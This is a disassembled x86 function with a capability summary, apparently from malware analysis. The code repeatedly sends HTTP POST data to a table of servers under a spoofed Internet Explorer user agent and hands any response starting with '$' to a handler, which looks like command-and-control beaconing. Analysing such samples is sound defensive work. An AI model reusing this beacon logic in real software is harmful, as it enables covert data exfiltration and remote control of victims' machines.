Function at 0x4027e0
Capabilities:
Connect to http server
Create http request
Reference http user-agent string
Send data
Send http request

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x2a0
mov dword [ebp + 0x5c], 0x80
mov eax, dword [ebp + 0x5c]
push eax
push 0
lea ecx, [ebp - 0x28]
push ecx
call fcn.00401940
add esp, 0xc
lea edx, [ebp + 0x5c]
push edx
lea eax, [ebp - 0x28]
push eax
push 0
call sub.urlmon.dll_ObtainUserAgentString
mov ecx, 1
imul edx, ecx, 0
movsx eax, byte [ebp + edx - 0x28]
test eax, eax
jne 0x402833
push str.Mozilla_4.0_compatible__MSIE_7.0b__Windows_NT_6.0_
lea ecx, [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x28]
push edx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [0x407ad4], eax
cmp dword [0x407ad4], 0
jne 0x402860
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402833
mov dword [ebp + 0x74], 0
mov dword [ebp + 0x70], 0
mov dword [ebp + 0x58], 0
mov dword [ebp + 0x6c], 0
mov eax, 1
test eax, eax
je 0x402ac1
mov ecx, dword [ebp + 0x74]
cmp dword [ecx*4 + 0x406648], 0
jne 0x4028aa
mov dword [ebp + 0x74], 0
mov edx, dword [0x407a74]
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 3
push 0
push 0
push 0x50
mov eax, dword [ebp + 0x74]
mov ecx, dword [eax*4 + 0x406648]
push ecx
mov edx, dword [0x407ad4]
push edx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp + 0x64], eax
cmp dword [ebp + 0x64], 0
jne 0x4028e9
mov eax, dword [ebp + 0x74]
add eax, 1
mov dword [ebp + 0x74], eax
mov dword [ebp + 0x70], 0
jmp 0x40287c
push 0
push 0x84200000
push 0
push 0
push 0
mov ecx, dword [ebp + 0x74]
mov edx, dword [ecx*4 + 0x406650]
push edx
push str.POST
mov eax, dword [ebp + 0x64]
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [ebp + 0x60], eax
cmp dword [ebp + 0x60], 0
jne 0x402938
mov ecx, dword [ebp + 0x74]
add ecx, 1
mov dword [ebp + 0x74], ecx
mov dword [ebp + 0x70], 0
mov edx, dword [ebp + 0x64]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x40287c
cmp dword [ebp + 0x58], 1
jne 0x402957
cmp dword [ebp + 0x6c], 0
jne 0x402955
push 0
call fcn.00401cb0
add esp, 4
mov dword [ebp + 0x6c], 1
jmp 0x40296e
cmp dword [ebp + 0x6c], 0
jne 0x40296e
push 1
call fcn.00401cb0
add esp, 4
mov dword [ebp + 0x6c], 1
mov eax, dword [0x407ac8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov ecx, dword [0x407ac8]
push ecx
push 0xffffffffffffffff
push str.Content_Type:application_x_www_form_urlencoded
mov edx, dword [ebp + 0x60]
push edx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
cmp eax, 1
jne 0x402a66
push 0xff
push 0
lea eax, [ebp - 0x128]
push eax
call fcn.00401940
add esp, 0xc
mov ecx, dword [ebp + 0x74]
mov edx, dword [ecx*4 + 0x406650]
push edx
mov eax, dword [ebp + 0x74]
mov ecx, dword [eax*4 + 0x406648]
push ecx
push str.http:___s_s
lea edx, [ebp - 0x128]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0xff
push 0
lea eax, [ebp - 0x228]
push eax
call fcn.00401940
add esp, 0xc
lea ecx, [ebp - 0x228]
push ecx
lea edx, [ebp - 0x128]
push edx
call fcn.00402670
add esp, 8
cmp eax, 1
jne 0x402a5f
lea eax, [ebp - 0x228]
mov dword [ebp + 0x68], eax
push str.response
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 0x68]
mov dword [ebp + 0x68], eax
mov ecx, dword [ebp + 0x68]
movsx edx, byte [ecx]
cmp edx, 0x24
jne 0x402a56
mov eax, dword [ebp + 0x68]
push eax
call fcn.004054f0
add esp, 4
mov dword [ebp + 0x70], 1
mov dword [ebp + 0x58], 1
mov dword [ebp + 0x6c], 0
jmp 0x402a5d
mov dword [ebp + 0x70], 0
jmp 0x402a66
mov dword [ebp + 0x70], 0
mov ecx, dword [ebp + 0x60]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp + 0x64]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [ebp + 0x70], 0
jne 0x402a8b
mov eax, dword [ebp + 0x74]
add eax, 1
mov dword [ebp + 0x74], eax
jmp 0x402abc
mov ecx, dword [0x407ac8]
push ecx
push 8
mov edx, dword [0x407a6c]
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [0x407a5c]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0xffffffffffffffff
mov ecx, dword [0x407a58]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x40287c
add ebp, 0x78
mov esp, ebp
pop ebp
ret